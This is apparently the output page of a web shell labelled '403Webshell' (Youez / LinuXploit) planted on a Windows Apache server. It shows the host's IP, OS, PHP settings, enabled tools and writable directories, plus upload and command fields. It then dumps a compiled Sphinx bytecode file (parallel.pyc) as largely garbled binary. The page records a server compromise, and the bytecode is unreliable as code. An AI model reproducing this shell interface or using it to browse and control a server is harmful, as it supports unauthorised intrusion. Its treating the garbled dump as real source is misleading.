403Webshell
Server IP : 127.0.0.1  /  Your IP : 216.73.216.109
Web Server : Apache/2.4.54 (Win64) OpenSSL/1.1.1q PHP/8.1.10
System : Windows NT DESKTOP-E5T4RUN 10.0 build 19045 (Windows 10) AMD64
User : SERVERWEB ( 0)
PHP Version : 8.1.10
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : OFF |  Perl : OFF |  Python : OFF |  Sudo : OFF |  Pkexec : OFF
Directory :  C:/cygwin64/lib/python3.9/site-packages/sphinx/util/__pycache__/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : C:/cygwin64/lib/python3.9/site-packages/sphinx/util/__pycache__/parallel.cpython-39.pyc
a

�ab6�@s�dZddlZddlZddlZddlmZddlmZmZm	Z	m
Z
mZmZzddl
Z
WneyjdZ
Yn0ddlmZddlmZe�e�Ze
o�ejdkZGdd	�d	�ZGd
d�d�Zdeeeee
ed
�dd�ZdS)z�
    sphinx.util.parallel
    ~~~~~~~~~~~~~~~~~~~~

    Parallel building utilities.

    :copyright: Copyright 2007-2022 by the Sphinx team, see AUTHORS.
    :license: BSD, see LICENSE for details.
�N)�sqrt)�Any�Callable�Dict�List�Optional�Sequence)�SphinxParallelError)�logging�posixc@sFeZdZdZd
edd�dd�Zdeeedd�dd	�Zdd
�dd�Z	dS)�SerialTaskszEHas the same interface as ParallelTasks, but executes tasks directly.�N��nproc�returncCsdS�N���selfrrr�8/usr/lib/python3.9/site-packages/sphinx/util/parallel.py�__init__#szSerialTasks.__init__��	task_func�arg�result_funcrcCs(|dur||�}n|�}|r$||�dSrr)rrrr�resrrr�add_task&s

zSerialTasks.add_task�rcCsdSrr�rrrr�join.szSerialTasks.join)r
)NN)
�__name__�
__module__�__qualname__�__doc__�intrrrrrrrrrr src@steZdZdZedd�dd�Zeeedd�dd�Zdeeedd	�d
d�Z	dd�d
d�Z
dd�dd�Zed�dd�Z
dS)�
ParallelTasksz1Executes *nproc* tasks in parallel after forking.NrcCs4||_i|_i|_i|_i|_i|_d|_d|_dS)Nr)r�
_result_funcs�_args�_procs�_precvs�_precvsWaiting�	_pworking�_taskidrrrrr5szParallelTasks.__init__)�pipe�funcrrc	
Cs�zPt��}|���(|dur$|�}n||�}Wd�n1s@0Yd}WnJty�}z2d}t�|j|�d��}|t��f}WYd}~n
d}~00t�	|j
�|�||j
|f�dS)NFTr)r
ZLogCollectorZcollect�
BaseException�	traceback�format_exception_only�	__class__�strip�
format_excZconvert_serializable�logs�send)	rr-r.rZ	collector�retZfailed�err�errmsgrrr�_processFs
&"zParallelTasks._processrc	Cs~|j}|jd7_|pdd�|j|<||j|<t�d�\}}t�d�}|j|j|||fd�}||j|<||j	|<|�
�dS)Nr
cSsdSrr)r�resultrrr�<lambda>Y�z(ParallelTasks.add_task.<locals>.<lambda>F�fork)�target�args)r,r&r'�multiprocessingZPipeZget_contextZProcessr:r(r*�	_join_one)	rrrr�tidZprecvZpsend�context�procrrrrVs



zParallelTasks.add_taskrcCs@z|jr|��st�d�qWnty:|���Yn0dS)Ng{�G�z�?)r+rB�time�sleep�	Exception�	terminaterrrrrbszParallelTasks.joincCsTt|j�D]D}|j|��|j�|�|j�|�|j�|�|jd8_q
dS)Nr
)�listr)r(rIr&�popr+)rrCrrrrIlszParallelTasks.terminatec
Cs�d}|j��D]�\}}|��r|��\}}}|r8t|��|D]}t�|�q<|j�|�|j	�|�|�|j
|��|j�|�|jd8_d}q�q|j
r�|j|jkr�|j
��\}}	|	|j|<|j
|��|jd7_q�|S)NFr
T)r)�itemsZpollZrecvr	�loggerZhandler&rKr'r(rr+r*r�popitem�start)
rZ
joined_anyrCr-�excr5r;�logZnewtidZnewprecvrrrrBts(
zParallelTasks._join_one)NN)r r!r"r#r$rrrr:rrrI�boolrBrrrrr%2s
r%�
)�	argumentsr�maxbatchrcsjt��}||��|kr,tt|||����dkr8d�t|��\}}|rR|d7}��fdd�t|�D�S)Nrr
cs$g|]}�|�|d���qS)r
r)�.0�i�rTZ	chunksizerr�
<listcomp>�r=zmake_chunks.<locals>.<listcomp>)�lenr$r�divmod�range)rTrrU�nargsZnchunks�restrrXr�make_chunks�sr_)rS)r#�osrFr0Zmathr�typingrrrrrrrA�ImportErrorZ
sphinx.errorsr	Zsphinx.utilr
Z	getLoggerr rM�nameZparallel_availablerr%�strr$r_rrrr�<module>s 
 

[

Youez - 2016 - github.com/yon3zu
LinuXploit